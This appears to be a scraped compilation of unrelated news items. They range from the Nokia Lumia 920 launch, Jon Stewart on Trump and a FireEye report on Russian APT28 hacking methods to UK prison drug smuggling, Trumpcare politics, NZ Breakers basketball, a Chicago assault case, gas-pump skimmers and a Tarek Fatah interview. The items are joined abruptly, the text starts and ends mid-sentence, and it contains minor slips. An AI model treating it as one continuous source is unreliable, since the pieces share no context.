of the earliest investors in the Shanghai stock market. He started collecting art about two decades ago with his wife Wang Wei. -As expected, Nokia has officially announced the Lumia 920. The leaks of this device have been spot on. The 920 has a Snapdragon S4 dual-core processor, a PureView camera on the back, and wireless charging. We’ll have more details as they are revealed. The PureView camera is very special. It reacts to the movements of your hand, and lets the shutter stay open longer. They haven’t said exactly how many mega-pixel the camera is, but the leaks said 8 and they have been correct so far. The display is called “PureMotion HD Plus.” It has a fast refresh rate to reduce blur when scrolling. The ClearBlack display is even better now, and the color tones adjust to glare from the sunlight. The display can “even bee seen in the dessert.” The battery on the Lumia 920 is 2,000mAh. Combined with the efficient processor, this makes for a long lasting display. The wireless charging comes with a Fatboy pillow, a plush charger that can be set comfortably on your bed. Nokia has also announced wireless charging partnerships with Virgin Atlantic and The Coffee Bean. -“Buckle your seatbelt and get ready.” That’s Jon Stewart‘s message to us. The former Daily Show host spoke with the TimesTalks’ Chris Smith on his thoughts regarding the coming Donald Trump era. “It is odd to be in a position of knowing that the leader of the free world tweeted that you were a p*ssy at 1:30 in the morning,” Stewart said regarding Trump according to The Huffington Post. At a certain point in the interview, Stewart extended an olive branch of sorts to the folks responsible for putting Trump in the White House. “Not everybody that voted for Trump is a racist,” Stewart said during the interview. “I don’t give a f*ck what any of you say to me. You can yell it at me, you can tweet it at me. They’re not all racists. Or they’re not giving tacit support to a racist system … We all give tacit support to exploitative systems as long as they don’t affect us that badly.” "I'm optimistic because I can't believe how much greater this country is than when it started." – Jon Stewart on #Election2016 pic.twitter.com/UXvATQINTS — TimesTalks (@TimesTalks) December 1, 2016 He gave an example: “…guess how those are made, guess who makes them?” Stewart said asking an audience member to pull out a phone. “’Oh yeah, but that’s … ‘ What, what is it? It’s not different, we all do that. All of our shit stinks and getting beyond that takes incredible work.” Stewart talked about Trump’s rhetoric versus his actions, recalling how he attacked Hillary Clinton as an “unqualified Secretary of State because the way she handled classified material.” “His selection for Secretary of State will be David Petraeus, who pled guilty to mishandling classified material,” Stewart continued. “He said [Clinton] was unqualified because she gave a speech to Goldman Sachs. His Secretary of the Treasury is somebody from Goldman Sachs. We’re in post-accountability.” “Let’s look out for the losers. Having somebody you agree with have greater control over the levers of power might be a comfort, but it’s not a solution. Unfortunately, I think our expectation now is, ‘Oh, great, one of our team is in charge. I don’t have to think about this anymore.’ And I think it’s never actually been the case.” A transcription of the most notable moments from the interview can be found at HuffPo. Featured image via YouTube -When Hillary Clinton’s former campaign chief received a bogus email that an elite Russian hacking unit allegedly sent, he clicked on its infected link, giving the hackers access to 58,000 or so emails. Such a hack is known as “spearphishing,” and it turns out to be only the simplest tool in a sophisticated Russian hacking kit, according to a report issued Wednesday by FireEye, a Milpitas, California, cybersecurity company whose experts have been examining the group since 2007. Other tools include setting up “watering holes” on websites likely to be visited by individuals of interest, infecting the users in the equivalent of a drive-by digital shooting, or finding “zero day” flaws that allow hackers to control every aspect of targeted computers, servers or networks and the material they store. The techniques are malicious and nearly impossible for nonprofessionals to block. “They are so capable,” FireEye’s Jonathan Wrolstad said of the Russian military unit. “In some ways, it may seem futile because they are so skilled. If you block them one way, they are going to look for the next way and the next way until they achieve their goal.” SHARE COPY LINK Members of the Senate Intelligence Committee on Tuesday took turns questioning top intelligence officials, who say investigative agencies found compelling evidence of Russian cyber-hacking throughout the 2016 election cycle. The Russian hackers are linked to the Russian military intelligence service, known as the GRU, and its targets span the globe and parallel the interests of the Russian state, FireEye said. In late 2014, FireEye dubbed the Russian hacking unit APT28, a name derived from “advanced persistent threat.” Other cybersecurity firms have given the unit names like Fancy Bear, Sofacy, Tsar Team and Pawn Storm. All the names refer to the same hacker team. EDITORS: BEGIN OPTIONAL TRIM The FireEye report says APT28 hackers have targeted areas of strategic Russian interest including “the conflict in Syria, NATO-Ukraine relations, the European Union refugee and migrant crisis, the 2016 Olympics and Paralympics Russian athlete doping scandal, public accusations regarding Russian state-sponsored hacking and the 2016 U.S. presidential election.” The 13-page FireEye report is called: “APT28: At the Center of the Storm: Russia Strategically Evolves its Cyber Operations.” EDITORS: END OPTIONAL TRIM Targets of APT28 hacks, compiled by FireEye, include government entities or political parties in Germany, Poland, Kyrgyzstan, Ukraine and the United States, the World Anti-Doping Agency, the Organization for Security and Cooperation in Europe and French TV5Monde as well as active or retired political figures, including former Clinton campaign chief John Podesta and former Secretary of State Colin Powell. While it’s not included in Wednesday’s report, Wrolstad said APT28 had also targeted U.S. defense contractors, military attachés in Europe and Asia, and the governments of Georgia and Chile. “We saw the Chilean government as a target of this activity back in 2014. And you wonder: How does that fit with Russia at all? So we started researching and we found that at that time there were discussions between the two militaries of Russia and Chile over some sort of arms sale or cooperation,” Wrolstad said. APT28 and other hackers alleged to be linked to the Russian state under President Vladimir Putin have used spearphishing thousands of times. EDITORS: BEGIN OPTIONAL TRIM The Obama administration’s declassified intelligence report on Russian hacking, released Dec. 29, said a parallel Russian hacking team known as APT29, thought to be operated by a domestic spying agency, the FSB, launched a massive spearphishing campaign in the summer of 2015, sending targeted emails “to over 1,000 recipients, including multiple U.S. government victims.” It said that Russian team had routed the fake emails through domains belonging to universities and other respected institutions or groups, worming their way into the network of “a U.S. political party,” known to be the Democratic National Committee. EDITORS: END OPTIONAL TRIM APT28 used a different technique to get into the DNC, luring one or more employees to click on a link to a fake webmail domain that mimicked Gmail or another service and tricked them into changing their passwords, thus sharing the new passwords with unseen Russian hackers observing from afar, the report said. The FireEye report says, however, that the malicious toolbox owned by APT28 is large and growing. It listed six so-called “zero day” vulnerabilities the unit is known to have utilized, allowing its hackers to use software flaws in products that U.S. vendors, such as Adobe, Java and Microsoft, hadn’t known existed, although they were eventually patched. The flaws bear the name “zero day” because they allow hackers to take over systems the moment the flaws are known, leaving victims unaware that they have been compromised. APT28 has shown over the past two years that they are able to procure these vulnerabilities called zero days at a rate much higher than any other group we’ve observed. Jonathan Wrolstad, FireEye “APT28 has shown over the past two years that they are able to procure these vulnerabilities called zero days at a rate much higher than any other group we’ve observed,” Wrolstad said. When a zero-day flaw is known only to hackers, there’s no defense until it is discovered and patched. EDITORS: BEGIN OPTIONAL TRIM The Russian hacking toolkit includes other methods, such as creating a “watering hole.” If hackers want to penetrate a network of an organization, they might first hack into the website of a nearby business that employees use, perhaps a restaurant. (The hackers) can just insert a line of code that tells the viewer’s browser to go load another page. Patrick Neighorn, FireEye “The attackers, if they gain access to that restaurant’s website, they can just insert a line of code that tells the viewer’s browser to go load another page,” said Patrick Neighorn, head of global media relations for FireEye. That activity would be invisible to the victim, beginning a process of deeper control of a targeted computer. The FireEye report says this technique “was used to compromise and infect visitors to numerous Polish government websites in 2014.” EDITORS: END OPTIONAL TRIM APT28 hackers can even beat vaunted two-factor authentication, which requires users not only to type in passwords but also to type ever-changing security codes, the report says. They also can spoof a Google App authorization request, such as when a user visits a retail or other site that allows visitors to log on using Gmail accounts, the report says. “In a matter of about 20 minutes . . . they would have the entire contents of both your Google Drive and your Gmail account,” Wrolstad said. -Dealers get drugs and mobile phones thrown over prison walls They are raking in tens of thousands of pounds from operations while inside jails. With a captive market, they can charge fellow inmates more for drugs such as heroin and crack cocaine than they can sell them for on the outside. In some cases, heroin is 10 times dearer inside prisons than out on the streets. Dealers are deliberately setting out to get caught for ­relatively minor offences they know will result in a three-month jail term. Having already set up bank accounts, they smuggle mobile phones into the prison. Drug-using inmates then call friends and relatives with the account details so they can make cash deposits into the dealer’s bank. The dealer is able to use either phone or internet banking via the smuggled mobile to check the money has been deposited. Once it is in his account, a drug drop is arranged. A source released from Hull Prison last week told the Daily Express that dealers boast about making more than £20,000 during three months in jail. The 37-year-old former burglar said: “The dealers are laughing at the prison officers because they say they can make more in just a couple of weeks than they earn in a whole year. “Most use mobile phones but some are so brazen they even use the prison phones which are recorded. Getting the drugs into jail is no problem. They are thrown over the wall at designated times, again organised via the mobile phones. “If the phones get confiscated, a new one can be delivered in much the same way.” The source said prison visitors also bring in large quantities of drugs, often hiding them in the clothing of young child­ren. A common ploy is to smuggle the drugs inside a baby’s nappy, as these are not checked by the guards. Because of the high profits to be made, there is also a strong temptation for prison officers to assist in smuggling in drugs. The Government said 64 prison officers were investigated for involvement in the trafficking of drugs last year. No figures were available for how many of these investigations subsequently led to prosecutions. The source has just completed four-year jail term for burglary and has spent much of the past two decades in prison. He has never developed a drug problem and is amazed at the scale of the illicit trade. He said: “I have been moved between 13 different prisons during this last stretch, all across Britain, and this scam was happening at every prison. It would be so easy to stop but most of the screws can’t be bothered because it would only mean more grief and paperwork for them to do. “A prisoner who is an addict is a lot easier to handle if he has got his fix than if he’s being deprived it. “I reckon about 80 per cent of the prisoners I have come into contact with are addicts. Even if they’re not smack heads when they go inside, there is so much temptation and boredom once they are banged up that most give in. “Proper policing of jails could stop drugs quite quickly but nobody seems to care and that is allowing dealers to flourish ­within the system.” Tory justice spokesman Nick Herbert reacted with astonishment at the revelations. He said: “These are extraordinary allegations which the Ministry of Justice should investigate without delay. “The idea that criminals might actually want to return to prison to conduct criminal activity offends against the fundamental tenet that jails should be secure. -Stabilizing the System of Mortgage Finance in the United States Author/Editor: Richard Koss Publication Date: August 8, 2017 Electronic Access: Free Full Text. Use the free Adobe Acrobat Reader to view this PDF file Disclaimer: IMF Working Papers describe research in progress by the author(s) and are published to elicit comments and to encourage debate. The views expressed in IMF Working Papers are those of the author(s) and do not necessarily represent the views of the IMF, its Executive Board, or IMF management. Summary: It has been over a decade since the peak of house prices in the US was attained, and while there has been a concerted regulatory response to the subsequent collapse, the two Government Sponsored Enterprises (GSEs) remain in conservatorship. While this action served to forestall a deeper crisis at the time, over the past several years risks related to the system of mortgage finance can be seen building across several dimensions that need to be addressed. While reforms to the GSEs are an important part of dealing with these concerns, this paper argues that broader changes need to be made across the entire mortgage landscape to stabilize the system, even before the final state of the GSEs is fully determined. -In one of the more surreal chapters in the ongoing Trumpcare saga, the Independent Journal Review’s Haley Byrd reports that some of Sen. Lisa Murkowski’s (R-AK) Republican colleagues hope to entice her into supporting their latest effort to repeal Obamacare by letting Alaska keep much of Obamacare. Under the reported deal — alternatively nicknamed the “Alaska Bribe,” the “Alaska Purchase,” the “Polar Purchase,” and the “Snow Job” — Alaska and Hawaii “will continue to receive Obamacare’s premium tax credits while they are repealed for all other states.” The proposal reportedly also includes favorable treatment for these two states under Medicaid. After Byrd’s report became public, for what it’s worth, one of the leading Senate sponsors of the new Trumpcare bill reportedly went into damage control mode. Sen. Graham is telling other senators that reports about a special deal for Alaska are "complete bullshit" per a senior GOP aide — Leigh Ann Caldwell (@LACaldwellDC) September 21, 2017 If Murkowski ultimately is offered the deal described by Byrd, however, it would raise serious constitutional concerns. According to Georgetown law professor Brian Galle, the Alaska Purchase probably runs afoul of a provision of the Constitution requiring the U.S. tax code to have a degree of uniformity. Advertisement Though the Constitution gives Congress the power to tax, it also provides that “all Duties, Imposts and Excises shall be uniform throughout the United States.” This clause has not played much of a role in American tax policy, but it creates a problem for the Alaska Bribe should Murkowski’s state be offered tax credits that most states will not receive. As Galle writes, “the leading recent authority on the uniformity clause is, coincidentally, also a case from Alaska, U.S. v. Ptasynski.” There, the Supreme Court held that “where Congress does choose to frame a tax in geographic terms, we will examine the classification closely to see if there is actual geographic discrimination.” For such discrimination to be permitted, “Congress has to show ‘neutral factors’ that justify its distinction. A purpose to ‘grant…an undue preference at the expense of other…states'” would flunk the test. So a provision of Trumpcare whose purpose is to provide particular states with favorable tax treatment, in order to entice a wavering senator into supporting the bill, could be struck down under Ptasynski. Would it actually be struck down? That decision would ultimately rest with an increasingly partisan Supreme Court that may be reluctant to undo major legislation pushed by Republicans. And if it is struck down, it is far from clear that the Court would strike down more than just the one provision involving the tax code. At the very least, however, if Murkowski were to agree to the enticement described in Byrd’s report, she would likely see her name in unfavorable headlines for years as the legal challenge to the Alaska Purchase wound its way through the courts. Advertisement Republican officials were once quite bothered by the idea that one state might receive favorable treatment in order to buy an uncertain senator’s support for a larger bill. In 2009, thirteen state attorneys general wrote Speaker Nancy Pelosi and Senate Majority Leader Harry Reid threatening litigation against the so-called “Cornhusker Kickback,” an enticement for Nebraksa Sen. Ben Nelson (D) that was ultimately removed from the Affordable Care Act. Their letter offered several theories, including allegations that the now-defunct special treatment for Nebraska was a “display of arbitrary power” and that it could violate various constitutional provisions because it “is a disadvantage to the citizens of 49 states.” These were weaker legal arguments than the case against the Alaska Purchase, largely because the Nebraska deal did not involve the tax code. But they are indicative of what Republican officials thought was an appropriate way to secure votes when Democrats controlled the Congress. -Mike English of the Blaze shoots during their round one NBL match against the New Zealand Breakers. CJ Bruton of the Breakers shoots during the round one NBL match against the Gold Coast Blaze. Gary Wilkinson of the Breakers takes a shot on goal under pressure from Larry Davidson of the Hawks during their round one NBL match. Mika Vukona of the Breakers clears the ball under pressure during their round one clash with the Wollongong Hawks. Joevan Catron of the Hawks drives to the basket under pressure from Gary Wilkinson of the Breakers during their round one NBL match. Guard CJ Bruton waves to the Vector Arena crowd as the Breakers leave the court after warm-ups. Coach Andrej Lemanis talks to his team during a first half timeout. Breaker Tom Abercrombie tries to drive by Kings guard Luke Cooper. Breakers guard Cedric Jackson tangles with Sydney's Luke Martin going for a loose ball. Out in the open, Alex Pledger drives to the hoop, being blocked by the rim on a one-handed dunk. In a New Zealand basketball record crowd 6383 filled Vector Arena to watch the Breakers and Kings. Breakers forward Tom Abercrombie throws down as easy dunk during the first quarter against the Sydney Kings at Vector Arena. Breakers guard Cedric Jackson in action, defended by Nathan Crosswell during NZ Breakers v Adelaide 36ers basketball match at the North Shore Events Centre. Breakers guard CJ Bruton shoots a three pointer against the Wollongong Hawks at North Shore Events Centre. Breakers player Tom Abercrombie looks to get past Hawks forward Oscar Forman. Breakers guard Cedric Jackson tussles for the ball against Glen Saville (left) and Dave Gruber of the Hawks. Breakers Forward Gary Wilkinson fires up after colliding with Hawks player Glen Saville on the way to the hoop. Breakers forward BJ Anthony and Hawks forward Dave Gruber scramble for the ball. Breakers coach Andrej Lemanis appeals to the referees for a call. Tom Abercrombie soars over Townsville's Michael Cedar to block his shot. Breakers coach Andrej Lemanis gets his message across against the Melbourne Tigers. Breakers guard Cedric Jackson looks for a way through the Tigers defence. Breakers guard Thomas Abercrombie completes an impressive slam dunk against the Melbourne Tigers. Both teams erupt into an all out brawl. Blaze's Anthony Petrie is ejected from the match. Breakers Mika Vukona in action against the Gold Coast Blaze. Tom Abercrombie of the Breakers under pressure from Chris Warren of the 36ers. Cedric Jackson of the Breakers goes for the basket against the Adelaide 36ers. Diamon Simpson (L) and Daniel Johnson (R) of the 36ers competes with Dillon Boucher (C) and Tom Abercrombie of the Breakers. Mika Vukona of the Breakers competes with Diamon Simpson of the 36ers. Gary Wilkinson of the Breakers reaches for the basket against the Adelaide 36ers. Cedric Jackson drives to the basket during the Breakers game against the Perth Wildcats. Jesse Wagstaff of the the Wildcats and Breakers' Benny Anthony Jnr. compete for the ball. Tom Abercrombie of the Breakers drives past Ayinde Ubaka of the Melbourne Tigers. CJ Bruton goes up for the lay-up. Cam Tragardh of the Melbourne Tigers tries to get past the Breakers' Alex Pledger. Breakers forward Dillon Boucher puts up a shot against the Adelaide 36ers. Breakers forward Thomas Abercrombie hangs off the hoop against the Adelaide 36ers. Breakers forward Mika Vukona helps up guard Cedric Jackson against the Melbourne Tigers. Breakers forward Thomas Abercrombie flies at the basket against the Melbourne Tigers. The North Shore Events Centre crowd gets behind the Breakers during their top-of-the-table defeat of the Perth Wildcats. Breakers centre Alex Pledger grasps possession during the 73-67 win over the Perth Wildcats in Auckland. Leon Henry shows his emotion after Breakers team-mate Cedric Jackson sunk a buzzer-beating shot against the Perth Wildcats. CJ Bruton fights for posession during the Breakers clash with Wollongong at the NSEC. A bemused Andrej Lemanis jokingly applauds the referee after a foul is called on Mika Vukona. Tom Abercrombie rises above Glen Saville of the Wollongong Hawks. Dillon Boucher tussles for position during the Breakers win over the Wollongong Hawks. Gary Wilkinson of the Breakers wins the ball against the Adelaide 36ers. CJ Bruton of the Breakers surges forward against the Adelaide 36ers. Dillon Boucher of the Breakers celebrates after the match against the Adelaide 36ers. Cedric Jackson of the Breakers goes for the basket against the Adelaide 36ers. The teams are seperated by the ref after an unsportsman foul against Gold Coast Blaze forward Stephen Hoare. Breakers coach Andrej Lemanis during the match against Gold Coast Blaze. Gary Wilkinson of the Breakers beats Ben Allen of the Crocodiles to the rebound. Peter Crawford (centre) of the Crocodiles looks to get past Dillon Boucher (right) and Tom Abercrombie of the Breakers. Alex Pledger (right) of the Breakers contests for the ball with Elvin Mims of the Townsville Crocodiles. Dillion Boucher of the Breakers in action against the Blaze. Morgan Natanahira of the Breakers shoots against of the Blaze at the Gold Coast Convention Centre. Jason Cadee of the Blaze shoots during their match against the Breakers at the Gold Coast Convention Centre. Breakers point guard Cedric Jackson finished with 17 points and seven assists as the Breakers rolled by the 36ers 91-76 in Adelaide. Jason Cadee of the Blaze passes against the New Zealand Breakers at the Gold Coast Convention Centre. Leon Henry of the Breakers in action against the Gold Coast Blaze. If there was any doubt these New Zealand Breakers are something special it was removed tonight in a pulsating, dramatic overtime opening game of the Australian NBL's grand final series. The Breakers somehow, some way were able to take the best shots of a very, very good Perth Wildcats side and - on the back of some overtime heroics from CJ Bruton and Mika Vukona - nail a pulsating 104-98 victory to begin this best-of-three series in the perfect fashion. They did so without getting a single minute out of arguably their best, certainly their most explosive, player in Thomas Abercrombie who had to sit and watch the best game of the season from the comfort of the bench. 1 of 57 JASON OXENHAM/Fairfax NZ Tom Abercrombie holds the championship trophy aloft. 2 of 57 JASON OXENHAM/Fairfax NZ Rio Bruton shows his dad is number one after CJ collected the grand finals MVP award. 3 of 57 JASON OXENHAM/Fairfax NZ Alex Pledger shows off his championship ring. 4 of 57 Photosport Cedric Jackson delivers the ball to centre Gary Wilkinson as Perth's Shawn Redhage attempts a block. 5 of 57 Getty Images Dillon Boucher jumps for joy as the Breakers win their second straight Australian NBL title. 6 of 57 JASON OXENHAM/Fairfax NZ CJ Bruton of the Breakers ducks through the arms of Matt Knight and Brad Robbins of the Perth Wildcats. 7 of 57 Getty Images CJ Bruton gets the crowd going after hitting a three pointer in the grand finals decider. 8 of 57 PETER MEECHAM/Fairfax NZ Dan Carter and Jerome Kaino show their support for the NZ Breakers. 9 of 57 Getty Images New Zealand Breakers' coach Andrej Lemanis with the ANBL championship trophy. 10 of 57 Photosport New Zealand Breakers' Dillon Boucher participates in the championship-winning tradition of cutting down the nets. 11 of 57 Photosport The New Zealand Breakers' celebrate their victory in the ANBL finals series. 12 of 57 Jason Oxenham/Fairfax NZ Breakers' guard Cedric Jackson takes the ball to the hoop in game three of ANBL finals series against the Perth Wildcats. 13 of 57 Jason Oxenham/Fairfax NZ Breakers' Alex Pledger climbs high for a dunk. 14 of 57 Photosport The New Zealand Breakers and the Perth Wildcats get involved in an altercation in game three of the ANBL finals series in Auckland. 15 of 57 Peter Meecham/Fairfax NZ Breakers' forward Mika Vukona avoids the attention of Perth Wildcats' forward Shawn Redhage. 16 of 57 Peter Meecham/Fairfax NZ Breakers' guard CJ Bruton goes past Perth Wildcats' point guard Brad Robbins. 17 of 57 Getty Images Breakers and Wildcats players get involved in an altercation. 18 of 57 Peter Meecham/Fairfax NZ The crowd cheers as the Breakers take to the court during the third and deciding game of the ANBL finals series against the Perth Wildcats. 19 of 57 Getty Images Leon Henry and Dillon Boucher of the Breakers look on from the bench during game two. 20 of 57 Getty Images Shawn Redhage of the Wildcats celebrates with supporters at the end of the game during game two. 21 of 57 Getty Images Breakers playing discuss tactics during a break in play of game two of the ANBL finals series in Perth. 22 of 57 Getty Images Kevin Lisch of the Wildcats and Cedric Jackson of the Breakers contest for a loose ball during game two. 23 of 57 Getty Images Breakers and Wildcats players get involved in an altercation. 24 of 57 Getty Images Breakers big man during game two of the ANBL finals series in Perth. 25 of 57 Getty Images Leon Henry of the Breakers lays-up against Matt Knight of the Wildcats during game two. 26 of 57 JASON OXENHAM/Fairfax NZ Cedric Jackson gets amongst the front-row fans after making a basket and being fouled. 27 of 57 JASON OXENHAM/Fairfax NZ Mika Vukona looks to score down low under pressure from Luke Nevill. 28 of 57 JASON OXENHAM/Fairfax NZ Small forward Leon Henry defends Perth's Cameron Tovey. 29 of 57 JASON OXENHAM/Fairfax NZ Tom Abercrombie gingerly runs onto the court during player intros. 30 of 57 JASON OXENHAM/Fairfax NZ Gary Wilkinson gets the Breakers fired-up pre-game. 31 of 57 Getty Images Dillon Boucher celebrates the Breakers win over Perth Wildcats in game one of the ANBL finals series. 32 of 57 Getty Images Leon Henry of the Breakers lays the ball up over Luke Nevill of the Perth Wildcats in game one of the ANBL finals series. 33 of 57 Getty Images Alex Pledger of the Breakers battles with two Perth Wildcats players for the ball in game one of the ANBL finals series. 34 of 57 Jason Oxenham/Fairfax NZ Breakers guard CJ Bruton on the ball. 35 of 57 Jason Oxenham/Fairfax NZ Breakers centre Gary Wilkinson drives into Perth Wildcats centre Luke Nevill in game one of the ANBL finals series. 36 of 57 Photosport Tom Abercrombie is treated on the floor while team-mates go after the referee. 37 of 57 Photosport Tom Abercrombie lies on the court in agony after severely straining ligaments in his left ankle. 38 of 57 Photosport The moment before Tom Abercrombie was taken out by Townsville's Peter Crawford on a breakaway dunk. 39 of 57 Photosport CJ Bruton raises his arms after a crucial fourth quarter three-pointer in the game three win. 40 of 57 Photosport Cedric Jackson hits the hardwood to grab possession for the Breakers. 41 of 57 Photosport MAKE OR BREAK: The Breakers are getting ready for a do-or-die match against Perth tonight. 42 of 57 Getty Images The Breakers celebrate after winning game two of the NBL Finals series against the Townsville Crocodiles. 43 of 57 Getty Images Eddie Gill of the Crocodiles passes the ball past Tom Abercrombie of the Breakers during game two. 44 of 57 Getty Images Russell Hinder of the Crocodiles looks dejected in game two of the NBL Finals series against the New Zealand Breakers. 45 of 57 Getty Images Dillon Boucher of the Breakers drives past Jacob Holmes of the Crocodiles during game two. 46 of 57 Getty Images Dillon Boucher of the Breakers makes a lay-up during game two. 47 of 57 Getty Images Michael Cedar of the Crocodiles attempts a jump shot over Cedric Jackson of the Breakers during game two. 48 of 57 Getty Images Mika Vukona of the Breakers drives past Todd Blanchfield of the Crocodiles during game two. 49 of 57 JASON OXENHAM/Fairfax NZ Breakers forward Thomas Abercrombie keeps the ball in play. 50 of 57 JASON OXENHAM/Fairfax NZ Breakers head coach Andrej Lemanis talks to his players. 51 of 57 JASON OXENHAM/Fairfax NZ Breakers forward Dillon Boucher scoots around Townsville Crocs forward Jacob Holmes. 52 of 57 JASON OXENHAM/Fairfax NZ High-fives for the Breakers in the NZ Breakers. 53 of 57 JASON OXENHAM/Fairfax NZ Breakers guard Cedric Jackson scoots around Townsville Crocs point guard Eddie Gill. 54 of 57 JASON OXENHAM/Fairfax NZ Breakers forward Thomas Abercrombie charges into Townsville Crocs forward Todd Blanchfield. 55 of 57 JASON OXENHAM/Fairfax NZ Breakers forward Dillon Boucher battles with Townsville Crocs forward Peter Crawford. 56 of 57 JASON OXENHAM/Fairfax NZ Breakers forward Dillon Boucher on the fast break chased by Townsville Crocs guard Michael Cedar. 57 of 57 JASON OXENHAM/Fairfax NZ Breakers guard Cedric Jackson passes under pressure from Townsville Crocs centre Luke Schenscher. Without Abercrombie, the Breakers did extremely well to go toe-to-toe with this rugged Wildcats outfit and their outstanding MVP guard Kevin Lisch. That they were able to come from six down late in regulation to nail a brilliant overtime win was the icing on the cake. The Breakers now head to Perth for game two in eight days' time able to play with the freedom of a side one up knowing at worst they'll be coming home for the decider. Getty Images MAKING THE PLAY: Matthew Knight of the Perth Wildcats lays the ball up under pressure from Cedric Jackson of the New Zealand Breakers. A second straight championship is now just one tantalising win away for a club who simply do not know when to quit. What a game it was. And at the end, even though there was the usual Perth chippiness, both sides can hold their heads high. A record crowd of 9125 was treated to an instant classic between two clubs who do tend to produce the memorable when they meet. In a game of runs, it had looked as though the Wildcats' steaming third quarter had put them in position to seal victory. They got their noses in front in the final period and looked like they were on their way with an 85-79 lead with just under two and a-half minutes remaining. But key buckets down the stretch to Cedric Jackson and Vukona and some outstanding defence helped the Breakers force overtime as the referees put their whistles in their pockets over a frantic finale. Then in the five minutes of overtime, first Vukona and then Bruton stepped up splendidly to make nerveless plays to enable the Breakers to take the final grip on proceedings. Vukona was a monster early, grabbing rebounds, powering inside; then when his body finally wore down up stepped Bruton to nail a pair of triples that sealed the deal. Jackson had a huge game for the victors, finishing with 25 points and eight assists as he slipped back into his best form. But Bruton was not far behind him, going five-of-12 from deep, six-of-15 overall for 20 points to go with three assists and two boards. Of course no one loves the big moment like the veteran Aussie, and down the stretch it was clear to all that the Breakers had the game-winner in their midst. Daryl Corletto added 16 points (5/10 FG, 4/6 3PT) for the winners, Gary Wilkinson had 12 points and seven boards and Dillon Boucher nine points, seven rebounds and four assists as he continued to make big plays when it mattered. Vukona came good late to finish with 14 points and five rebounds. Alex Pledger weighed in with a solid eight points and four boards and made two huge free-throws in overtime when Vukona had to retire with cramp. Lisch led the Cats with a game-high 27 points and had quality backup from Matt Knight (17 points/five rebounds) and Shawn Redhage (15 points/five boards). But they will be cursing letting this one slip through their grasp after a magnificent third-quarter fightback that put them in the box seat. The signs hadn't looked good early when the Cats, perhaps buoyed by Abercrombie's absence, got off to an explosive 14-2 start inside the first four minutes. But then the home team exploded on a 22-4 run of their own to roar into the lead, 28-24 at the end of the first. The Breakers knocked down five triples in this period, a pair apiece to Bruton and Corletto as they showed they were here to play - even without their classy Tall Black Abercrombie. That intensity continued in the second quarter when the Breakers held the Wildcats to just 11 points and, on the back of some inspirational play from Jackson, forged out to a 15-point lead. Jackson, playing like the MVP he perhaps should have been, was magnificent in the first half, knocking down six of his eight shots for a game-high 14 points to go with four assists. Corletto weighed in with 11 points as he nailed three of his four looks from deep, while Bruton and Wilkinson added eight and seven points respectively. The Breakers also did a great job of restricting MVP Kevin Lisch to just five first-half points, as the Cats offence cooled off after their fast start. But the men from the wild west, chasing their sixth NBL title in their 26th consecutive playoff appearance, are nothing if not fighters. Back they came in the third quarter, a 17-2 run early in the third erasing the deficit and leaving us with a thriller on our hands. NZ Breakers 104 (Cedric Jackson 25, CJ Bruton 20, Daryl Corletto 16, Mika Vukona 14, Gary Wilkinson 12), Perth Wildcats 98 (Kevin Lisch 27, Matthew Knight 17, Shawn Redhage 15, Luke Nevill 13, Jesse Wagstaff 12). 1Q: 28-24; HT: 50-35; 3Q: 68-66; FT: 84-84. -Four Chicago suspects pled not guilty on Friday to several charges related to kidnapping and torturing a young schizophrenic man, which they allegedly broadcast on Facebook Live. According to the Chicago Sun-Times, public defenders for Brittany Covington, 18, Tesfaye Cooper, 18, Jordan Hill, 18, and Tanishia Covington, 24, entered not guilty pleas during their arraignment. All four suspects are charged with hate crimes, aggravated kidnapping, aggravated unlawful restraint, and aggravated battery with a deadly weapon. Three are also charged with residential burglary. One offender faces robbery charges, along with the possession of a stolen motor vehicle. The video played on Facebook Live showed a bound and gagged white victim huddled in a corner while assailants are heard saying “Fuck white people” and “Fuck Donald Trump” as they beat him and cut his scalp with a knife. Another video clip shows assailants forcing the victim to drink toilet water. The suspects are due back in court March 1. Previous coverage of the case and the national reaction to it can be found here. -MINNEAPOLIS (WCCO) – State commerce officials say a statewide sweep of gas stations last month found nine hidden credit card skimmers, which criminals use to steal credit and debit card information from unsuspecting customers. Mike Rothman, the Minnesota Commerce Commissioner, announced on Thursday that the inspection was conducted over a three-week period, examining readers at more than 1,000 gas stations in the Twin Cities metro and Greater Minnesota. “The Commerce Department is cracking down on these skimmers to protect Minnesota consumers against identity theft and fraud,” Rothman said in a statement. “We are working to make sure the state’s gas pumps are secure and customers’ credit and debit card information is safe.” The recent inspection checked 8,500 credit card readers. There are about 52,000 such readers in the state. Moving forward, the Commerce Department says its inspectors will be looking for skimmers or any sort of tampering with gas pumps as part of their routine. Officials say they are also working with gas stations to train their operators on how to protect against skimmers. Consumers are advised to inspect card readers at gas stations before swiping a card. If one sees signs of forced entry or tampering, the gas station clerk should be alerted. To avoid skimmers, it’s advised that consumers pay inside the gas station or with cash. To protect against fraud, one should be sure to monitor bank and credit card accounts. -Interview Fatah insisted that the idea of Pakistan ended in 1971 when the "majority of its people said we do not want Pakistan and created Bangladesh". Mohd Asim Khan Pakistan-born Canadian writer Tarek Fatah (he objects to being called a Pakistani) is offending and entertaining in equal measure. From Partition to the interpretation of Islam, he has views that verge on the extreme, and even when speaking on serious topics he glides from the sombre to the ludicrous, blurting out profanities now and breaking into a childlike giggle the next moment. At times, he contradicts himself. Such is the charm of the man that you may disagree with him on all that he is saying, but you just can't dislike him. This is because whatever he says has that tinge of sincerity you can't ignore, even if it is outright controversial. For example, he said communal riots in India would not happen if Indian Muslims forgo their personal law, and objects to names like Taimur (as Bollywood actor Saif Ali Khan has named his son) and Aurangzeb. Fatah is proud of his roots in India and his Hindu ancestry. He eulogises the great Indian civilisation and calls Pakistan an "abstract idea". But his snide remarks are not reserved only for Pakistanis or Muslims; he also takes India's Hindu right to task over love jihad and their perceived fondness for Hitler. "India is a civilisation that has a past and a future. It's the only civilisation that has that. In spite of being assaulted and attacked and plundered over a thousand years, it has risen up again," Fatah, whose books include "Chasing a Mirage: The Tragic Illusion of an Islamic State" (2008) and "The Jew Is Not My Enemy: Unveiling the Myths that Fuel Muslim Anti-Semitism" (2010), told IANS in an interview. "On the other hand, Pakistan is not a nation, it's just a state of mind. There is no such people as 'Pak', like we have Afghans in Afghanistan, Kazakhs in Kazakhstan and Balochs in Balochistan. Where are the Pak people?" he asked. Fatah insisted that the idea of Pakistan ended in 1971 when the "majority of its people said we do not want Pakistan and created Bangladesh". Asked why he doesn't like to be called a Pakistani, Fatah said: "India is a republic rooted in 5,000 years of Indus Valley civilisation, the other (Pakistan) is a concoction of hatred. Pakistan is merely a military 